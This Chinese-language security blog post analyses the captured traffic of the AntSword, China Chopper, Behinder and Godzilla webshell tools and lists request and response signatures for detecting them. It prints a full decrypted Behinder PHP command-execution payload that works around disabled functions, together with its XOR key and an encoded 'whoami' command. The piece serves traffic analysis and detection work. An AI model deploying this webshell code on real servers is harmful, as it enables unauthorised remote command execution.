中国蚁剑流量抓包分析

数据包分析

通过编码的数据包1特征,发现是URL编码(BP会自动对其解码显示)

还可以通过解码网站对其进行解码,之后分析数据包特征

http://www.hiencode.com/

如下图,发现通过蚁剑终端传参之后得到的响应包任然是明文的

特征

请求包:每个请求体都是由下面这个数据开始的@ini_set("display_errors", "0");@set_time_limit(0);响应包:都是明文

中国菜刀流量抓包分析

因菜刀无法配置代理,因此我们通过wireshark来全局抓包查看流量(也可以通过Proxifier联合BP抓包)

数据包分析

特征

请求体存在assert eavl,base64等特征字符

请求体中存在固定字符:QGluaV9zZXQo

冰蝎流量抓包分析

 这里以冰蝎base64编码生成webshell为例上传到服务器端进行流量分析

配置代理

自带PhpWebshell分析(base64编码)

数据包分析

 在冰蝎虚拟终端进行传参分析其数据包特征

通过冰蝎自带解密功能对其数据包解密

如下解密后的函数,对关键信息进行base64解密还原流量:可以看到进入哪些路径执行哪些命令

@error_reporting(0);function getSafeStr($str){      $s1 = iconv('utf-8','gbk//IGNORE',$str);      $s0 = iconv('gbk','utf-8//IGNORE',$s1);      if($s0 == $str){            return $s0;      }  else{            return iconv('gbk','utf-8//IGNORE',$str);      }}function main($cmd,$path){      @set_time_limit(0);      @ignore_user_abort(1);      @ini_set('max_execution_time', 0);      $result = array();      $PadtJn = @ini_get('disable_functions');      if (! empty($PadtJn)) {            $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);            $PadtJn = explode(',', $PadtJn);            $PadtJn = array_map('trim', $PadtJn);      }   else {            $PadtJn = array();      }      $c = $cmd;      if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {            $c = $c . " 2>&1\n";      }      $JueQDBH = 'is_callable';      $Bvce = 'in_array';      if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {            ob_start();            system($c);            $kWJW = ob_get_contents();            ob_end_clean();      }   else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {            $handle = proc_open($c, array(            array(                'pipe',                'r'            ),            array(                'pipe',                'w'            ),                                              array(                'pipe',                'w'            )        ), $pipes);        $kWJW = NULL;        while (! feof($pipes[1])) {            $kWJW .= fread($pipes[1], 1024);                                                                                                                                                                                 }            @proc_close($handle);    }   else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {            ob_start();            passthru($c);            $kWJW = ob_get_contents();            ob_end_clean();    }   else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {            $kWJW = shell_exec($c);    }   else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {            $kWJW = array();            exec($c, $kWJW);            $kWJW = join(chr(10), $kWJW) . chr(10);    }   else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {            $fp = popen($c, 'r');            $kWJW = NULL;            if (is_resource($fp)) {                  while (! feof($fp)) {                        $kWJW .= fread($fp, 1024);                  }            }            @pclose($fp);      }   else {            $kWJW = 0;            $result["status"] = base64_encode("fail");           $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");            $key = $_SESSION['k'];            echo encrypt(json_encode($result));           return;              }      $result["status"] = base64_encode("success");      $result["msg"] = base64_encode(getSafeStr($kWJW));      echo encrypt(json_encode($result));}function encrypt($data){      $key="e45e329feb5d925b"; for($i=0;$i<strlen($data);$i++) {        $data[$i] = $data[$i]^$key[$i+1&15];       }      $bs="base64_"."encode";$after=$bs($data."");      return $after;}$cmd="Y2QgL2QgIkU6XDFRVFxQSFBccGhwc3R1ZHlfcHJvXFdXV1x1cGxvYWRcdXBsb2FkXCImd2hvYW1p";$cmd=base64_decode($cmd);$path="RTovMVFUL1BIUC9waHBzdHVkeV9wcm8vV1dXL3VwbG9hZC91cGxvYWQv";$path=base64_decode($path);main($cmd,$path);

 如下图对cmd变量的关键信息进行base64解密可得明文

 对其响应数据进行解密

加密的响应包数据TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEduBwZHa1RfEDhzHFdoTFMMVgdQWHZoCVhASA==TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEduBwZHa1RfEDhzHFdoTFMMVgdQWHZoCVhASA==TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEduBwZHa1RfEDhzHFdoTFMMVgdQWHZoCVhASA== 一次解密后 {"status":"c3VjY2Vzcw==","msg":"Z2ctYm9uZFxnZy1ib25kDQo="}+.$r1('#%<tcgjbZ-e'aor+$;s3r:r>4r1k%]@.n)192>bm=m%{}.p"1xw/r:$?5Vm4Zy5'1?~|"k/a"=t\>`"a;)F~2\y6?d>6=]mar} 对关键信息进行二次解密(status和msg的值),如下图

弱特征

Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7Content-type: application/x-www-form-urlencoded

强特征

请求头固定dFAXQV1LORcHRQtLRlwMAhwFTAg/M解密后@error_reporting(0);

哥斯拉流量抓包分析

 配置代理

生成webshell

将哥斯拉的webshell上传到服务器

Webshell连接

抓包分析

数据包通过base64编码

强特征

Cookie: PHPSESSID=erqjms95fqav97qa99euqiu1t6;     # cookies值多了分号;数据包贼长

弱特征

请求包Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8响应包Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。